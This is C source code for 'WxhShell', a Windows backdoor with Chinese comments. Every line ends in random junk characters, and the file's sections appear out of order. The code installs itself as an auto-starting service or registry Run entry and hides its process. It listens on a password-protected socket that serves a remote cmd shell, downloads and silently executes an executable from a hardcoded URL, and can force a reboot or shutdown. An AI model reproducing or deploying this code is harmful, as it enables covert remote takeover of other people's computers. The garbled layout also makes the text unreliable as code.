    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }@ 1LFZx  
    else { ^Ud`2 OW;2  
    closesocket(wsh); tet  
    ExitThread(0); _IT,>#ba  
    } 8b6:n1<fn  
    break; F^`sIrZvs  
    } P5] cEZ n  
  // 获取shell *$^M E  
  case 's': { nU`vj`K   
    CmdShell(wsh); U?xl%qF`)  
    closesocket(wsh); G>#L  
    ExitThread(0); k E6\G}zj  
    break; g\ <Lb  
  } -pg7>vOq  
  // 退出 P 3lN ns3  
  case 'x': { 4fP>;9[F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r10)1`[  
    CloseIt(wsh); mN@0lfk;  
    break; :*}tkr4&eh  
    } c{FvMV2em  
  // 离开 >A2& Mjo  
  case 'q': { Ge(r6"%7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bs_I{bCu?  
    closesocket(wsh); Hb!Q}V+Kb8  
    WSACleanup(); 2uiiTg>  
    exit(1); xu& v(C9  
    break; ]*):2%f  
        } (_<ruwV]`  
  } :Tj,;0#/  
  } He j0l^  
4:6@9.VVT  
  // 提示信息 {/R4Q1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NbkWy  
} |$bZO`^  
  } |6_<4lmTxF  
pjbKMx  
  return; _|*3uGo:  
} J fsCkS  
!H?#~{ W}  
// shell模块句柄 jZm1.{[>  
int CmdShell(SOCKET sock) cC4*4bMm  
{ DPy"FQYZb  
STARTUPINFO si; `@Kh>K  
ZeroMemory(&si,sizeof(si)); {/#?n["  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; atl0#FBd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &y Vii^  
PROCESS_INFORMATION ProcessInfo; ;'=!Fv  
char cmdline[]="cmd"; K})j5CJ/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {yspNyOx  
  return 0; /\#qz.c2K  
} N;Hf7K  
1*>a  
// 自身启动模式 S1`+r0Fk~n  
int StartFromService(void) 0B3*\ H}5  
{ $9Z8P_^.0(  
typedef struct eDTEy;^o  
{ puMpUY  
  DWORD ExitStatus; ';b/D   
  DWORD PebBaseAddress; (qB$I\  
  DWORD AffinityMask; QdDdrR^&  
  DWORD BasePriority; 8i X?4qj{P  
  ULONG UniqueProcessId; N15{7 ,   
  ULONG InheritedFromUniqueProcessId; 1s!hl{n<~  
}   PROCESS_BASIC_INFORMATION; H6'xXS  
w="I*7c@  
PROCNTQSIP NtQueryInformationProcess; n %"s_W'E  
Q6}`%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HESwz{eSS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; if^\Gs$  
jL`S6E?7  
  HANDLE             hProcess; E$8GXo00v  
  PROCESS_BASIC_INFORMATION pbi; gDAA>U3|$  
].:S!QO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -Frx{3  
  if(NULL == hInst ) return 0; NUx%zY  
 /H!I90  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .&}}ro48  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %)q5hB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N],A&}30  
xj%h-@o6  
  if (!NtQueryInformationProcess) return 0; chfj|Ce]x  
Oo=} j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =b9?r  
  if(!hProcess) return 0; s "*Cb*  
DSET!F;PG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lBPZB%  
^pZ(^  
  CloseHandle(hProcess); C/ ;f)k<  
. 6Bz48*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S ._9  
if(hProcess==NULL) return 0; c9f~^}jNb  
$&lS7}  
HMODULE hMod; +J+]P\:  
char procName[255]; X}Fc0Oo  
unsigned long cbNeeded; tlvLbP*r  
ZH~m%sA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Hyq| %\A  
CQ3;NY=o  
  CloseHandle(hProcess); s*(Y<Ap7d  
Ibpk\a?A{  
if(strstr(procName,"services")) return 1; // 以服务启动 G9}[g)R*  
.c~;/@{  
  return 0; // 注册表启动 6,s@>8n  
} ogjm6;  
Pme`UcE3H  
// 主模块 yuKfhg7  
int StartWxhshell(LPSTR lpCmdLine) xE4T\%-K  
{ bO^%#<7  
  SOCKET wsl; oOQnV(I  
BOOL val=TRUE; wIi(p5*  
  int port=0; (lEWnf=2h  
  struct sockaddr_in door; 7{<t]wQq  
Cw Z{&  
  if(wscfg.ws_autoins) Install(); ;:"~utL7  
,:;nq>;  
port=atoi(lpCmdLine); u4+)lvt  
c67O/ B(  
if(port<=0) port=wscfg.ws_port; 1z[WJ}$u  
##R]$-<4dQ  
  WSADATA data; G^ n|9)CVW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "o[\Aec:  
.;*0odxv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i,* DWD+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #lV&U  
  door.sin_family = AF_INET; jd(=? !_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !BK^5,4?--  
  door.sin_port = htons(port); 7jEAhi!Cq(  
0jj }jw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Vs9fAAXS4  
closesocket(wsl); QE-t v00  
return 1; =EV8~hMyqh  
} 8kO|t!?:U  
b4,yLVi<T  
  if(listen(wsl,2) == INVALID_SOCKET) { tEf-BV;\y  
closesocket(wsl); b/ ~&M+)  
return 1; ]iPTB  
} _0Wd m*  
  Wxhshell(wsl); aFbA=6  
  WSACleanup(); (yZ^Y'0  
'DKP-R"  
return 0; {j(,Q qB;f  
6ZF5f^M^  
} gfp#G,/B  
p2cKtk+  
// 以NT服务方式启动 i,V~5dE[I<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sF}E =lY  
{ %]:u^\7  
DWORD   status = 0; *W0`+#Dcv  
  DWORD   specificError = 0xfffffff; @F=4B0=  
\K>6-0r|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rK`*v*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z |t0mS$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T}zOM%]]  
  serviceStatus.dwWin32ExitCode     = 0; "V^(i%E;  
  serviceStatus.dwServiceSpecificExitCode = 0; gjwp' GN  
  serviceStatus.dwCheckPoint       = 0; .m4K ]^m  
  serviceStatus.dwWaitHint       = 0; \BS^="AcpP  
0lW}l9}'-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); udw5A*Ls  
  if (hServiceStatusHandle==0) return; ,qC_[PUT  
Qn6&M  
status = GetLastError(); 9oN b= .  
  if (status!=NO_ERROR) _w'4f )7  
{ Ye,E7A*L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z*leEwgz  
    serviceStatus.dwCheckPoint       = 0; M~^|dR)D  
    serviceStatus.dwWaitHint       = 0;  9((v.  
    serviceStatus.dwWin32ExitCode     = status; Hm*n ,8_  
    serviceStatus.dwServiceSpecificExitCode = specificError; +nZx{d,wt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !,I}2,1%k  
    return; *O+N4tq  
  } xro  
7Xw #  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fRq2sK;+  
  serviceStatus.dwCheckPoint       = 0; kELV]iWb  
  serviceStatus.dwWaitHint       = 0; ?z?IEj}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OI1&Z4Lx  
} t\'URpa+5%  
3VcG /rf  
// 处理NT服务事件,比如:启动、停止 I]zCsT.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ) |*HkdF`  
{ :xv"m {8+  
switch(fdwControl) {E>kFeg  
{ 3F<My+J  
case SERVICE_CONTROL_STOP: rrmr#a  
  serviceStatus.dwWin32ExitCode = 0;  a2sN$k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L0Xb^vx}m  
  serviceStatus.dwCheckPoint   = 0; ]G&d`DNV  
  serviceStatus.dwWaitHint     = 0; Vo%@bj~>  
  { <w 8*Ly:L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6 Rg{^ERf  
  } 8/]5h%  
  return; pOx0f;'G+  
case SERVICE_CONTROL_PAUSE: z$S)|6Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F4KXx^~o  
  break; @ VVBl I  
case SERVICE_CONTROL_CONTINUE: v=@Z,-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \V}?K0#bt  
  break; Z^s&]  
case SERVICE_CONTROL_INTERROGATE: mpN|U(n  
  break; ;CFI*Wfp  
}; # M%-q8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O?rVa:\  
} P!1y@R>Ln  
jsH7EhF{'  
// 标准应用程序主函数 ]B\H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B`9'COw  
{ n:'Mpux  
qVE6ROSh  
// 获取操作系统版本 4IIe1 .{  
OsIsNt=GetOsVer(); x2(hp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F0])g  
wwk=*X-8  
  // 从命令行安装 5Z1b9.;.,  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y!"LrkC  
QGn3xM66  
  // 下载执行文件 9qIjs$g  
if(wscfg.ws_downexe) { K+2<{qwh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [3}m|W<  
  WinExec(wscfg.ws_filenam,SW_HIDE); l/#;GYB]  
} 48W$ ,  
4ZSc'9e9  
if(!OsIsNt) { ~~;J[F p  
// 如果时win9x,隐藏进程并且设置为注册表启动 6XKiVP;h%  
HideProc(); bw&8"k>D?  
StartWxhshell(lpCmdLine); Jvgx+{Xu  
} tg.[.v Ks  
else Fzt{^%\`  
  if(StartFromService()) p0>W}+8fF  
  // 以服务方式启动 *FmY4w  
  StartServiceCtrlDispatcher(DispatchTable); v[A)r]"j"M  
else ^FIpkhw  
  // 普通方式启动 J7c(qGJI2  
  StartWxhshell(lpCmdLine); 9jBP|I{xI  
4'P otv@/  
return 0; !EB<e5}8wK  
} F4`ud;1H  
>kU$bh.(  
$oDc  
?:H4Xd7  
=========================================== e5W 8YNA  
W+k SL{0  
#R-l2OO^]  
A]c'`Nf  
@FO= 0_;y  
(kCzz-_\  
" w&8N6gA14  
.hPk}B/KV  
#include <stdio.h> =ss(~[  
#include <string.h> 8eGq.+5G  
#include <windows.h> k[#<=G_=/E  
#include <winsock2.h> ae_Y?g+3  
#include <winsvc.h> R6eKI,y\"  
#include <urlmon.h> NGIt~"e7R4  
`n)e] dn  
#pragma comment (lib, "Ws2_32.lib") vgKZr  
#pragma comment (lib, "urlmon.lib") Gl; xd  
=r:(ga  
#define MAX_USER   100 // 最大客户端连接数 HQGn[7JW  
#define BUF_SOCK   200 // sock buffer Rr A9@95+  
#define KEY_BUFF   255 // 输入 buffer .z0NMmz0z  
+&bJhX  
#define REBOOT     0   // 重启 rr~O6Db  
#define SHUTDOWN   1   // 关机 VC~1QPC9  
40h  
#define DEF_PORT   5000 // 监听端口 Fab gJu  
{8p<iY- %  
#define REG_LEN     16   // 注册表键长度 @$mh0K>  
#define SVC_LEN     80   // NT服务名长度 r9sq3z|%  
V7DMn@Ckw  
// 从dll定义API =[5F~--Tf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eO%w i.Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #$n >+ lc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gV~_m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^hZZ5(</8P  
w eX%S&#?  
// wxhshell配置信息 _?~EWT   
struct WSCFG { ,! b9  
  int ws_port;         // 监听端口 #w]UP#^io  
  char ws_passstr[REG_LEN]; // 口令 y Ny,$1  
  int ws_autoins;       // 安装标记, 1=yes 0=no H. o=4[  
  char ws_regname[REG_LEN]; // 注册表键名 BLaF++Fop  
  char ws_svcname[REG_LEN]; // 服务名 8=TM _  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W2>VgMR [  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZQ1,6<^9i[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )?y${T   
int ws_downexe;       // 下载执行标记, 1=yes 0=no }jdMo83  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @qUgp*+{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~  p~  
6K Cv  
}; )>"|<h.2]  
tW-wO[2  
// default Wxhshell configuration " l;=jk]  
struct WSCFG wscfg={DEF_PORT, 7! sR%h5p  
    "xuhuanlingzhe", QzLE9   
    1, | -l9Z  
    "Wxhshell", #|j8vmfn$e  
    "Wxhshell", a=_:`S]}  
            "WxhShell Service", CWdpF>En  
    "Wrsky Windows CmdShell Service", #M ;j*IBl*  
    "Please Input Your Password: ", >bRoQ8  
  1, `_"loPu  
  "http://www.wrsky.com/wxhshell.exe", "50 c<sZSB  
  "Wxhshell.exe" *(g0{V  
    }; eL" +_lW  
3QhQpPk) ,  
// 消息定义模块 k^@dDLr"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #IvHxSo&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3-Bz5sj9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0?,<7}"<X  
char *msg_ws_ext="\n\rExit."; >q&X#E<w  
char *msg_ws_end="\n\rQuit."; D]=V6l=  
char *msg_ws_boot="\n\rReboot..."; b9R0"w!ml  
char *msg_ws_poff="\n\rShutdown..."; PRal>s&f  
char *msg_ws_down="\n\rSave to "; j82x$I*  
`a6AES'w$  
char *msg_ws_err="\n\rErr!"; :P8X?C63W]  
char *msg_ws_ok="\n\rOK!"; vJj}$AlI  
Yr)<1.K4,M  
char ExeFile[MAX_PATH]; #J'V,_ wH  
int nUser = 0; 7TtDI=f  
HANDLE handles[MAX_USER]; B4/\=MXb  
int OsIsNt; NG5k9pJ  
-amNz.`[PR  
SERVICE_STATUS       serviceStatus; zmg :Z p=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1()pKBHf  
T"e"?JSRJ  
// 函数声明 )TcD-Jr  
int Install(void); 'soll[J  
int Uninstall(void);  c`}YL4  
int DownloadFile(char *sURL, SOCKET wsh); MKh}2B#S  
int Boot(int flag); =)%~QK {Y  
void HideProc(void); 79 \SbB  
int GetOsVer(void); ikb;,Js  
int Wxhshell(SOCKET wsl); Q sPZ dC  
void TalkWithClient(void *cs); -sx=1+\nf  
int CmdShell(SOCKET sock); \;Sl5*kr  
int StartFromService(void); w&Z.rB?  
int StartWxhshell(LPSTR lpCmdLine); fskc'%x  
nj#kzD[n>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7yal  T.  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  [33=+C a  
#[]B: n6  
// 数据结构和表定义 ]4Q~x  
SERVICE_TABLE_ENTRY DispatchTable[] = # ';b>J  
{ MFz6y":~  
{wscfg.ws_svcname, NTServiceMain},  Cy5M0{  
{NULL, NULL} b2^O$ l  
}; c3)6{  
}-@h H(  
// 自我安装 fM3ZoH/  
int Install(void) { 3Qlx/6<  
{ "d*-k R  
  char svExeFile[MAX_PATH]; =.IAd< C  
  HKEY key; )%q )!x  
  strcpy(svExeFile,ExeFile); #TIlM]5%  
s,j=Kym%  
// 如果是win9x系统,修改注册表设为自启动 +hIMfhF  
if(!OsIsNt) { hdpA& OteR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \/!jGy*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _o-01gu.  
  RegCloseKey(key); IIAm"=*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y+C6+I<3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ([NS%  
  RegCloseKey(key); (/|f6_9!  
  return 0; *X 2dS {  
    } BAy)P1  
  } >L^ 2Z*  
} -l <[CI  
else { Ku8qn \2"  
}q)dXFL=I#  
// 如果是NT以上系统,安装为系统服务 r#c+{yY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `L"l{^cH  
if (schSCManager!=0) 5r^u7k  
{ Vah.tOU  
  SC_HANDLE schService = CreateService (kJ"M4*<F'  
  ( fRt&-z('  
  schSCManager, ?dvcmXR  
  wscfg.ws_svcname, S^)xioKsJ  
  wscfg.ws_svcdisp, \; zix(N[5  
  SERVICE_ALL_ACCESS, `llSHsIkXb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !I Byv%m&\  
  SERVICE_AUTO_START, cK t8e^P  
  SERVICE_ERROR_NORMAL, 4K!@9+Mz  
  svExeFile, cC$E"m  
  NULL, `IK3e9QpcA  
  NULL, R-5e9vyS  
  NULL, /&RS+By(i  
  NULL, 9]|G-cyt  
  NULL Tl*FK?)MC^  
  ); ;CA7\&L>  
  if (schService!=0) nn/_>%Y  
  { <a=k"'0  
  CloseServiceHandle(schService); ig?Tj4kD  
  CloseServiceHandle(schSCManager); okD7!)cr=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !qJ|`o Y  
  strcat(svExeFile,wscfg.ws_svcname); #po}Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =mh)b]].4\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6}q# c  
  RegCloseKey(key); $1myf Z  
  return 0; ^qPS&G  
    } Ok_)C+o  
  } #zKF/H|_R  
  CloseServiceHandle(schSCManager); -;U3$[T,J7  
} XD|vB+j\O  
} 6E.64+PJw  
ipJnNy;  
return 1; Z"a]AsG/Q#  
} <9Pf] G=  
67dp)X  
// 自我卸载 si|b>R&Z  
int Uninstall(void) 1 =9 Kwd  
{ d=:&tOCg2  
  HKEY key; 0& ?/TSC  
!J+< M~o}  
if(!OsIsNt) { }@jT-t]P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z_en .  
  RegDeleteValue(key,wscfg.ws_regname); lof}isOz  
  RegCloseKey(key); &^JY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z sbE  
  RegDeleteValue(key,wscfg.ws_regname); ]}jY] l  
  RegCloseKey(key); +X7+:QQ }  
  return 0; T\o!^|8  
  } YGr^uTQb  
} uM9RlI5  
} u6BLhyS  
else { {;ur~KE  
X&({`Uw<K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 06vxsT@  
if (schSCManager!=0) }5sJd>u5^  
{ UP |#WegO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HtGGcO'bqg  
  if (schService!=0) R(F+Xg je  
  { @d=4C{g%o  
  if(DeleteService(schService)!=0) { @@Vf"o+S  
  CloseServiceHandle(schService); U)gr C8 C  
  CloseServiceHandle(schSCManager); *dm?,~f%<  
  return 0; C6(WnO{6  
  } (eJYv: ^  
  CloseServiceHandle(schService); -4'yC_8t  
  } KRh95B GU  
  CloseServiceHandle(schSCManager); IBr|A  
} 4).>b3OhX  
} ~F9WR5}]  
^ql+l~  
return 1; Ga} &%  
} _rf  
nyR4E}@:O  
// 从指定url下载文件 7ezf.[{R  
int DownloadFile(char *sURL, SOCKET wsh) l/w<R  
{  mH*6Q>  
  HRESULT hr; t&=]>blIs  
char seps[]= "/"; D$ +"n  
char *token; Xm}~u?$3  
char *file; CJu3h&Rp  
char myURL[MAX_PATH]; !{L`Zd;C>w  
char myFILE[MAX_PATH]; +yd(t}H@  
BKQI|i  
strcpy(myURL,sURL); zg83->[  
  token=strtok(myURL,seps); pg'3j3JW$  
  while(token!=NULL) \;Ywr3  
  { 53cW`F  
    file=token; K@z zseQ}=  
  token=strtok(NULL,seps); 4#BoS9d2I<  
  } < l%3P6|  
x0!5z1KQh  
GetCurrentDirectory(MAX_PATH,myFILE); ;Y>cegG\  
strcat(myFILE, "\\"); $!_]mz6*  
strcat(myFILE, file); , 1{)B  
  send(wsh,myFILE,strlen(myFILE),0);  uM9[  
send(wsh,"...",3,0); '9MtIcNb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,pz^8NJAI  
  if(hr==S_OK) <H)I06];  
return 0; x\Det$3Kx  
else r{gJ[%  
return 1; uT??t=vb  
S@a#,,\[  
} 5B'};AQ  
Zom7yI  
// 系统电源模块 O8N\  
int Boot(int flag) &[hq !v  
{ 1>SCY _C v  
  HANDLE hToken; ~"+Fp&[9f  
  TOKEN_PRIVILEGES tkp; 9\]%N;;Lo  
-  zQ  
  if(OsIsNt) { . 787+J?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AZCbUkq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @]H:=Q'gj  
    tkp.PrivilegeCount = 1; gB\KD{E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yjbqby7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4S]`S\w  
if(flag==REBOOT) { {{?[b^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @,63%  
  return 0; K~_[[)14b  
} <|s9@;(I  
else { ,afh]#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yH8 N8  
  return 0; 8h#/b1\  
} +Zx+DW cq  
  } O&!tW^ih  
  else { qdB@P  
if(flag==REBOOT) { ':fq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &Oq& ikw  
  return 0; MT,LO<.  
} /2&jId  
else { KbY5 qou  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K>TdN+Z}=  
  return 0; UpgY}pf}  
} rZDlPp>BPZ  
} %/:{x()G  
 @t  
return 1; DdTTWp/  
} lbv9 kk[  
Y) >GwFK$  
// win9x进程隐藏模块 l("Dw8 H  
void HideProc(void) )j40hrR  
{ 7mSVL\\^  
E lt=/,v`!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JBCcR,\kM*  
  if ( hKernel != NULL ) .VVY]>bJg@  
  { {ZH9W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %p}_4+[;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Dq!Vo;s2  
    FreeLibrary(hKernel); -i@1sNx&'  
  } 0)V<)"i  
`?Yh`P0  
return; ldo7}<s  
} iNR6BP W  
bmEo5f~C!  
// 获取操作系统版本 {|%N  
int GetOsVer(void) %v\0Dm+A  
{ ;%Jw9G\h  
  OSVERSIONINFO winfo; |\ j'Z0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j(!M  
  GetVersionEx(&winfo); ) =<,$|g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xn&G`  
  return 1; > _1*/o JO  
  else zxtx~XO  
  return 0; 2;G^>BP<  
} \+E{8&TH'  
bIP{DxKS  
// 客户端句柄模块 VpJ/M(UD-  
int Wxhshell(SOCKET wsl) ln7{c #lE  
{ @8TD^ub  
  SOCKET wsh; /'IOi`d  
  struct sockaddr_in client; u{'bd;.7  
  DWORD myID; ?9_<LE q  
+Eh1>m  
  while(nUser<MAX_USER) ?k~(E`ZE3  
{ dF*@G/p>V  
  int nSize=sizeof(client); y88FT#hR|5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T^8t<S@`  
  if(wsh==INVALID_SOCKET) return 1; ^zHBDRsb2F  
15_OtK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _PrK6M@"L  
if(handles[nUser]==0) ;}{%|UAsx  
  closesocket(wsh); ^c}Z$V  
else k7Fa+Y)K7  
  nUser++; ~#dNGWwG  
  } 2H_|Attoi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >[=q9k  
,V!s w5_5m  
  return 0; cA1"Nek  
} ja}_u}:  
4;_{*U-  
// 关闭 socket 7</&=lly  
void CloseIt(SOCKET wsh) Z9s tB>?  
{ ]lzt "[  
closesocket(wsh); [K;J#0V+&L  
nUser--; <Brq7:n|  
ExitThread(0); @gQ{*dN  
} }.Ht=E]  
|jV>  
// 客户端请求句柄 ywpk\  
void TalkWithClient(void *cs) BEyg 63=  
{ L5E.`^?  
^SB?NRk  
  SOCKET wsh=(SOCKET)cs; }s=D,_}m  
  char pwd[SVC_LEN]; y~An'+yBa  
  char cmd[KEY_BUFF]; v' 7,(.E  
char chr[1];  k'X v*U  
int i,j; ziR}  
|B njT*_9  
  while (nUser < MAX_USER) { " 4#V$V  
1HG~}E  
if(wscfg.ws_passstr) { v!T%xUb0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V& <vRIsN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^$SI5WK&)  
  //ZeroMemory(pwd,KEY_BUFF); * VH!<k[n  
      i=0; f n )m$\2  
  while(i<SVC_LEN) { .v%H%z~Rl#  
sPn[FuT>+s  
  // 设置超时 ~h 6aw  
  fd_set FdRead; ,F(nkbt  
  struct timeval TimeOut; mL`,v WL/`  
  FD_ZERO(&FdRead); |GtTz&  
  FD_SET(wsh,&FdRead); @FKNB.>  
  TimeOut.tv_sec=8; +M!f}=H  
  TimeOut.tv_usec=0; pi:%Bd&F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -`gqA%#+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ub*Gv(Pg  
zE5%l`@|o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9(DS"fgC  
  pwd=chr[0]; $-m@cObw!.  
  if(chr[0]==0xd || chr[0]==0xa) { \];0S4SBy  
  pwd=0; V #W,}+_Sz  
  break; _eM\ /(v[  
  } vFL Qq,?Nh  
  i++; uyMxBc%6  
    } qc\]~]H]r  
cS/\&%7u  
  // 如果是非法用户,关闭 socket x2 /\%!mt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XRCiv  
} %4Cs c  
m8;; O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6lOT5C eJ"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `P<}MeJ\l  
^{nf0)56c  
while(1) { 0gw0  
nS)U+q-x&o  
  ZeroMemory(cmd,KEY_BUFF); =.O8G=;DOA  
yjlX@YXnw  
      // 自动支持客户端 telnet标准   \\XvVi:B  
  j=0; FuiG=quY  
  while(j<KEY_BUFF) { Hj't.lg+j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fqA\Rp6Z  
  cmd[j]=chr[0]; j'FSd*5m  
  if(chr[0]==0xa || chr[0]==0xd) { ;rYL\`6L  
  cmd[j]=0; 1=gE ,k5H  
  break; <7R\ #  
  } A ><  
  j++; u8L%R[#o  
    } P2pdXNV  
NpqMdd   
  // 下载文件 J7q^4M+o:  
  if(strstr(cmd,"http://")) { "n3r,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r18eu B%  
  if(DownloadFile(cmd,wsh)) reJw&t}Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z8*E-y0  
  else Aon 3G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P*Va<'{:{  
  } [E<NEl *  
  else { +U{8Mj  
NovF?kh2  
    switch(cmd[0]) { "/[xak!g  
  low 0@+Q  
  // 帮助 >Lj0B%^EvM  
